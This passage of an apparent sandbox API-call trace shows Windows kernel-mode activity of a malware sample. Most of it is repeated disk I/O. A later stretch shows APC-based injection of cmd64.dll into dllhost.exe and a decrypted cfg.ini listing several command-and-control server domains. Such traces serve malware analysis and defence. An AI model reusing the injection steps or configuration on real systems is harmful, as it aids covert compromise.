AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.739] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.739] IdePortDispatch () returned 0x103 [0116.739] KeWaitForMutexObject () returned 0x0 [0116.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.739] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.740] IdePortDispatch () returned 0x103 [0116.740] KeWaitForMutexObject () returned 0x0 [0116.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.740] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.740] IdePortDispatch () returned 0x103 [0116.740] KeWaitForMutexObject () returned 0x0 [0116.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.740] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.740] IdePortDispatch () returned 0x103 [0116.740] KeWaitForMutexObject () returned 0x0 [0116.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.740] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.740] IdePortDispatch () returned 0x103 [0116.741] KeWaitForMutexObject () returned 0x0 [0116.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.741] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.741] IdePortDispatch () returned 0x103 [0116.741] KeWaitForMutexObject () returned 0x0 [0116.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.741] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.741] IdePortDispatch () returned 0x103 [0116.741] KeWaitForMutexObject () returned 0x0 [0116.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.741] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.741] IdePortDispatch () returned 0x103 [0116.742] KeWaitForMutexObject () returned 0x0 [0116.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.742] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.742] IdePortDispatch () returned 0x103 [0116.742] KeWaitForMutexObject () returned 0x0 [0116.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.742] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.742] IdePortDispatch () returned 0x103 [0116.742] KeWaitForMutexObject () returned 0x0 [0116.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.742] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.742] IdePortDispatch () returned 0x103 [0116.743] KeWaitForMutexObject () returned 0x0 [0116.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.743] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.743] IdePortDispatch () returned 0x103 [0116.743] KeWaitForMutexObject () returned 0x0 [0116.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.743] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.743] IdePortDispatch () returned 0x103 [0116.743] KeWaitForMutexObject () returned 0x0 [0116.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.743] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.744] IdePortDispatch () returned 0x103 [0116.744] KeWaitForMutexObject () returned 0x0 [0116.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.744] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.744] IdePortDispatch () returned 0x103 [0116.744] KeWaitForMutexObject () returned 0x0 [0116.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.744] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.744] IdePortDispatch () returned 0x103 [0116.744] KeWaitForMutexObject () returned 0x0 [0116.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.745] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.745] IdePortDispatch () returned 0x103 [0116.745] KeWaitForMutexObject () returned 0x0 [0116.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.745] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.745] IdePortDispatch () returned 0x103 [0116.745] KeWaitForMutexObject () returned 0x0 [0116.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.745] KeLeaveCriticalRegion () [0116.745] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.745] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800006b4, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0116.746] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0116.746] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0116.746] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800006b4, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x40000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0116.746] _snprintf (in: _Dest=0x40020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0116.746] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80081efb10 [0116.746] KeInitializeApc (Apc=0xfffffa80081efb10, Thread=0xfffffa8003963b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x40128, Mode=0xfffff88000000001, Context=0x40000) [0116.746] KeInsertQueueApc (Apc=0xfffffa80081efb10, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0116.746] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0116.746] ZwClose (Handle=0x14) returned 0x0 [0116.746] ZwClose (Handle=0xffffffff800006b8) returned 0x0 [0116.746] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0116.746] KeEnterCriticalRegion () [0116.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.746] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80018ab040 [0116.746] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80081ef340, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0116.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.746] KeLeaveCriticalRegion () [0116.746] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.746] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0116.746] PsGetProcessImageFileName () returned 0xfffffa8003b29e10 [0116.746] _snprintf (in: _Dest=0xfffffa80081efee8, _Count=0x103, _Format="%s (x64)" | out: _Dest="dllhost.exe (x64)") returned 17 [0116.746] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0116.746] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800006b8, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0116.746] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.746] KeEnterCriticalRegion () [0116.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.746] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0116.746] IdePortDispatch () returned 0x103 [0116.747] KeWaitForMutexObject () returned 0x0 [0116.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.747] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.747] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.747] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.747] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.747] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80081efab0 [0116.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.747] KeLeaveCriticalRegion () [0116.747] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.747] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0116.747] NtLockFile (in: FileHandle=0xffffffff800006b8, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0116.747] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.747] KeEnterCriticalRegion () [0116.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.747] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.747] KeLeaveCriticalRegion () [0116.747] ZwQueryInformationFile (in: FileHandle=0xffffffff800006b8, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0116.747] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.747] KeEnterCriticalRegion () [0116.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.747] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0116.747] IdePortDispatch () returned 0x103 [0116.747] KeWaitForMutexObject () returned 0x0 [0116.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.748] KeLeaveCriticalRegion () [0116.748] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.748] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001a8e6e0 [0116.748] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0116.748] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0116.748] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="dllhost.exe (x64)=") returned 18 [0116.748] _strlwr (in: _Str="dllhost.exe (x64)=" | out: _Str="dllhost.exe (x64)=") returned="dllhost.exe (x64)=" [0116.748] ZwReadFile (in: FileHandle=0xffffffff800006b8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001a8e6e0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001a8e6e0*) returned 0x0 [0116.748] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.748] KeEnterCriticalRegion () [0116.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035326e0 [0116.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.748] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0116.748] IdePortDispatch () returned 0x103 [0116.748] KeWaitForMutexObject () returned 0x0 [0116.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.748] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0116.748] IdePortDispatch () returned 0x103 [0116.749] KeWaitForMutexObject () returned 0x0 [0116.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.749] KeLeaveCriticalRegion () [0116.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.749] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0116.749] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="dllhost.exe (x64)=") returned 0x0 [0116.749] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0116.749] ExFreePoolWithTag (P=0xfffff8a001a8e6e0, Tag=0x0) [0116.749] ZwClose (Handle=0xffffffff800006b8) returned 0x0 [0116.749] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.749] KeEnterCriticalRegion () [0116.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.749] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80018ab040 [0116.749] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003963920, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0116.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.749] KeLeaveCriticalRegion () [0116.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.749] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.749] KeEnterCriticalRegion () [0116.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.749] ExFreePoolWithTag (P=0xfffffa80081efab0, Tag=0x0) [0116.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.749] KeLeaveCriticalRegion () [0116.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.749] ZwClose (Handle=0xffffffff800006b4) returned 0x0 [0116.749] KeSetEvent (in: Event=0xfffffa80081efbc0, Increment=0x0, Wait=0 | out: Event=0xfffffa80081efbc0) returned 0 Thread: id = 18 os_tid = 0xac Thread: id = 19 os_tid = 0x28 [0058.873] IdePortDispatch () returned 0x103 [0058.873] IdePortDispatch () returned 0x103 [0058.873] IdePortDispatch () returned 0x103 [0058.873] IdePortDispatch () returned 0x103 [0058.874] IdePortDispatch () returned 0x103 [0058.874] IdePortDispatch () returned 0x103 [0058.874] IdePortDispatch () returned 0x103 [0058.874] IdePortDispatch () returned 0x103 [0058.880] IdePortDispatch () returned 0x103 [0058.881] IdePortDispatch () returned 0x103 [0058.881] IdePortDispatch () returned 0x103 [0058.881] IdePortDispatch () returned 0x103 [0058.882] IdePortDispatch () returned 0x103 [0058.882] IdePortDispatch () returned 0x103 [0058.882] IdePortDispatch () returned 0x103 [0058.882] IdePortDispatch () returned 0x103 [0058.883] IdePortDispatch () returned 0x103 [0058.883] IdePortDispatch () returned 0x103 [0058.883] IdePortDispatch () returned 0x103 [0058.883] IdePortDispatch () returned 0x103 [0058.884] IdePortDispatch () returned 0x103 [0058.884] IdePortDispatch () returned 0x103 [0058.884] IdePortDispatch () returned 0x103 [0058.884] 